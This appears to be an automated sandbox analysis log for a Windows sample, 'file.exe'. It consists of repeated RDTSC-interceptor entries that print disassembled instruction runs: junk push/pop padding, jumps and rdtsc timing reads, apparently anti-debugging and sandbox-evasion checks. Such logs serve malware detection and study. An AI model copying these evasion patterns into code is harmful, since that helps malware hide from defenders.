Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A466 second address: D2A46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B3EF second address: D2B3F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A67F second address: D2A683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A683 second address: D2A691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1674F90E1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B5F4 second address: D2B5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B5F8 second address: D2B60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F1674F90E18h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E431 second address: D2E435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E435 second address: D2E449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jno 00007F1674F90E16h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F5C8 second address: D2F5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312B0 second address: D312B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3245B second address: D3245F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3341E second address: D33422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33422 second address: D3342C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1675279DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3342C second address: D33432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33432 second address: D33436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33436 second address: D33451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33451 second address: D334BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jp 00007F1675279DA8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 nop 0x00000011 cmc 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F1675279DA8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F1675279DA8h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a mov ebx, 22909EE6h 0x0000004f push eax 0x00000050 push edi 0x00000051 pushad 0x00000052 jnc 00007F1675279DA6h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D314AD second address: D314B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31557 second address: D3155E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D336AF second address: D336B9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1674F90E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3557F second address: D35584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D376F6 second address: D3770C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1674F90E1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3770C second address: D37710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37710 second address: D37723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1674F90E1Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3794E second address: D37954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A851 second address: D3A855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38AB2 second address: D38AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A855 second address: D3A869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007F1674F90E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F1674F90E18h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41D68 second address: D41D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41D70 second address: D41D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C714 second address: D4C744 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1675279DAAh 0x00000008 jmp 00007F1675279DB0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 js 00007F1675279DAEh 0x00000016 jp 00007F1675279DA6h 0x0000001c push edi 0x0000001d pop edi 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C744 second address: D4C74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B440 second address: D4B445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BA5D second address: D4BA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F1674F90E16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BA6C second address: D4BA70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BD03 second address: D4BD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1674F90E16h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnc 00007F1674F90E16h 0x00000016 popad 0x00000017 pushad 0x00000018 push edx 0x00000019 jmp 00007F1674F90E29h 0x0000001e pushad 0x0000001f popad 0x00000020 pop edx 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C3E1 second address: D4C409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1675279DB7h 0x0000000c jmp 00007F1675279DAAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C409 second address: D4C448 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1674F90E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007F1674F90E16h 0x00000013 jnc 00007F1674F90E16h 0x00000019 popad 0x0000001a popad 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1674F90E1Ch 0x00000023 jmp 00007F1674F90E25h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C448 second address: D4C454 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C454 second address: D4C458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F486 second address: D4F4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007F1675279DBFh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE099E second address: CE09A8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1674F90E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE09A8 second address: CE09AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54A4C second address: D54A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54A52 second address: D54A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54A57 second address: D54A68 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1674F90E1Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54A68 second address: D54A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5386F second address: D53874 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53874 second address: D5387A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26208 second address: D0716C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F1674F90E18h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000015h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 cld 0x00000021 lea eax, dword ptr [ebp+12487FA0h] 0x00000027 xor dword ptr [ebp+12459526h], edx 0x0000002d nop 0x0000002e jc 00007F1674F90E2Fh 0x00000034 push eax 0x00000035 jmp 00007F1674F90E27h 0x0000003a pop eax 0x0000003b push eax 0x0000003c push eax 0x0000003d push ecx 0x0000003e push esi 0x0000003f pop esi 0x00000040 pop ecx 0x00000041 pop eax 0x00000042 nop 0x00000043 mov dword ptr [ebp+1245224Fh], esi 0x00000049 call dword ptr [ebp+1244DF9Bh] 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 pushad 0x00000055 popad 0x00000056 jne 00007F1674F90E16h 0x0000005c ja 00007F1674F90E16h 0x00000062 popad 0x00000063 push eax 0x00000064 push edx 0x00000065 push esi 0x00000066 pop esi 0x00000067 jg 00007F1674F90E16h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26314 second address: D263DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 jmp 00007F1675279DB7h 0x0000000c pop edi 0x0000000d xchg eax, ebx 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F1675279DA8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 jmp 00007F1675279DB1h 0x0000002d xor edx, dword ptr [ebp+122D3702h] 0x00000033 push dword ptr fs:[00000000h] 0x0000003a jmp 00007F1675279DACh 0x0000003f js 00007F1675279DA6h 0x00000045 mov dword ptr fs:[00000000h], esp 0x0000004c cld 0x0000004d mov dword ptr [ebp+12487FF8h], esp 0x00000053 mov ch, CCh 0x00000055 cmp dword ptr [ebp+122D366Ah], 00000000h 0x0000005c jne 00007F1675279E7Fh 0x00000062 adc dh, FFFFFFB9h 0x00000065 mov byte ptr [ebp+122D3214h], 00000047h 0x0000006c jl 00007F1675279DA8h 0x00000072 mov eax, D49AA7D2h 0x00000077 or edi, dword ptr [ebp+12458111h] 0x0000007d nop 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007F1675279DB6h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26ADD second address: D26AE7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1674F90E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26BD2 second address: D26BF9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F1675279DB7h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F1675279DA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26BF9 second address: D26C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1674F90E28h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7412 second address: CE7416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7416 second address: CE745C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E29h 0x00000007 jmp 00007F1674F90E1Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jns 00007F1674F90E2Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE745C second address: CE747E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1675279DACh 0x00000008 jne 00007F1675279DACh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53E2F second address: D53E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53E33 second address: D53E39 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53E39 second address: D53E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F1674F90E1Eh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53E53 second address: D53E74 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1675279DAEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1675279DABh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5414F second address: D54166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007F1674F90E1Eh 0x0000000f push esi 0x00000010 pop esi 0x00000011 jg 00007F1674F90E16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54596 second address: D5459B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D06D second address: D5D078 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D078 second address: D5D08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1675279DADh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D53E second address: D5D563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1674F90E16h 0x0000000a jmp 00007F1674F90E29h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D9CD second address: D5D9DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1675279DABh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DF1D second address: D5DF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DF26 second address: D5DF3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E589 second address: D5E59F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1674F90E16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d je 00007F1674F90E16h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E59F second address: D5E5A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E5A6 second address: D5E5D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1674F90E26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F1674F90E16h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E5D0 second address: D5E5DA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1675279DA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E5DA second address: D5E5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007F1674F90E16h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jg 00007F1674F90E16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CD4C second address: D5CD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CD50 second address: D5CD5F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1674F90E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CD5F second address: D5CD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F1675279DA6h 0x0000000f jmp 00007F1675279DADh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CD7B second address: D5CD7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64364 second address: D64377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b ja 00007F1675279DA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63034 second address: D63038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63038 second address: D6303C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6303C second address: D63048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1674F90E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D632D1 second address: D632D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D632D5 second address: D632DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63630 second address: D63636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D667EE second address: D667F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D667F4 second address: D667FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D667FD second address: D66801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66801 second address: D66837 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F1675279DA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F1675279DBDh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F1675279DA6h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66837 second address: D66841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66841 second address: D66847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
